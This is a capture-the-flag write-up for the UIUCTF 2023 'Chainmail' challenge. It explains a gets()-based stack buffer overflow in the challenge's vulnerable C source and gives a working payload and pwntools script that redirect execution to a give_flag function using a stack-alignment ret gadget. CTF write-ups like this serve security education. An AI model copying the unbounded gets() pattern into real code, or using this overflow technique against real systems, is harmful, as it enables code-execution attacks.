# Chainmail - uiuctf 2023## writeup by p3qch
We are greeted by two files, an ELF executable with the following properties:```$ checksec ./chal    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x400000)```And a C source file:
```c#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>
void give_flag() {    FILE *f = fopen("/flag.txt", "r");    if (f != NULL) {        char c;        while ((c = fgetc(f)) != EOF) {            putchar(c);        }    }    else {        printf("Flag not found!\n");    }    fclose(f);}
int main(int argc, char **argv) {    setvbuf(stdout, NULL, _IONBF, 0);    setvbuf(stderr, NULL, _IONBF, 0);    setvbuf(stdin, NULL, _IONBF, 0);
    char name[64];    printf("Hello, welcome to the chain email generator! Please give the name of a recipient: ");    gets(name);    printf("Okay, here's your newly generated chainmail message!\n\nHello %s,\nHave you heard the news??? Send this email to 10 friends or else you'll have bad luck!\n\nYour friend,\nJim\n", name);    return 0;}```
If we look closely at main, we see the following line:```c    gets(name);```It's gets! The function that reads from stdin, without any length specification, meaning that we could write as much as we want to the stack.Let's take a look at the way mains stack frame looks:```|---------------------|| Saved RIP (8 bytes) ||---------------------|| Saved RBP (8 bytes) ||---------------------||                     ||      name buf       ||     (64 bytes)      ||                     ||---------------------|```But what will we overwrite? With what? Obviously we'll overwrite saved RIP with the not changing (cuz there's no PIE) address of the functions give_flag()!let's check the functions address:```sh$ gdb ./chalgef➤  info functionsAll defined functions:
Non-debugging symbols:0x0000000000401000  _init0x00000000004010b0  putchar@plt0x00000000004010c0  puts@plt0x00000000004010d0  fclose@plt0x00000000004010e0  printf@plt0x00000000004010f0  fgetc@plt0x0000000000401100  gets@plt0x0000000000401110  setvbuf@plt0x0000000000401120  fopen@plt0x0000000000401130  _start0x0000000000401160  _dl_relocate_static_pie0x0000000000401170  deregister_tm_clones0x00000000004011a0  register_tm_clones0x00000000004011e0  __do_global_dtors_aux0x0000000000401210  frame_dummy0x0000000000401216  give_flag0x0000000000401288  main0x000000000040133c  _fini```We see that the give_flag  function is at: `0x401216`. So to build our payload we need: - 64 bytes over buf- 8 bytes over saved - And most importantly, the address of give_flag, packed in little endian (least significant byte goes first) and 64 bits.
let's try this:```sh$ python2 -c "print 'A' * 64 + 'B'*8 + '\x16\x12\x40\x00\x00\x00\x00\x00'" | ./chalHello, welcome to the chain email generator! Please give the name of a recipient: Okay, here's your newly generated chainmail message!
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB@,Have you heard the news??? Send this email to 10 friends or else you'll have bad luck!
Your friend,Jimflag{flag}```We get a flag! Let's try this on remote:```sh$ python2 -c "print 'A' * 64 + 'B'*8 + '\x16\x12\x40\x00\x00\x00\x00\x00'" | nc chainmail.chal.uiuc.tf 1337Hello, welcome to the chain email generator! Please give the name of a recipient: Okay, here's your newly generated chainmail message!
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB@,Have you heard the news??? Send this email to 10 friends or else you'll have bad luck!
Your friend,Jim```hmmm weird we didn't get a flag. Last time something like this happened to me it was the MOVABS issue. most likely fopen uses this instructions, and this instructions works only if the stack is aligned properly, but we misaligned it by putting our evil payload onto it. Let's fix it by adding something to the stack, but what can we add? let's add another `ret` address before our get_flag address. So that before we jump to get flag, we jump to another return and alighn the stack.```sh$ ROPgadget --binary chal --only  'ret'Gadgets information============================================================0x000000000040101a : ret```So we see that there is a ret at `0x40101a`, lets pack it to our payload, and actually make a python script to make it a little easier to read:```pyfrom pwn import *
if not args.REMOTE:    target = process("./chal")else:    target = remote("chainmail.chal.uiuc.tf", 1337)
payload = b"A" * 64 # overwrite bufferpayload += b"B" * 8 # overwrite saved rbppayload += p64(0x40101a) # align stack (this is a RET instruction address)payload += p64(0x401216) # overwrite saved rip to give_flag
target.sendline(payload)target.interactive()```Lets try this:
```$ python3 ./solve.py REMOTE[+] Opening connection to chainmail.chal.uiuc.tf on port 1337: Done[*] Switching to interactive mode== proof-of-work: disabled ==Hello, welcome to the chain email generator! Please give the name of a recipient: Okay, here's your newly generated chainmail message!
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\x1a\x10@,Have you heard the news??? Send this email to 10 friends or else you'll have bad luck!
Your friend,Jimuiuctf{y0ur3_4_B1g_5h0t_n0w!11!!1!!!11!!!!1}```And we get a flag! Hooray!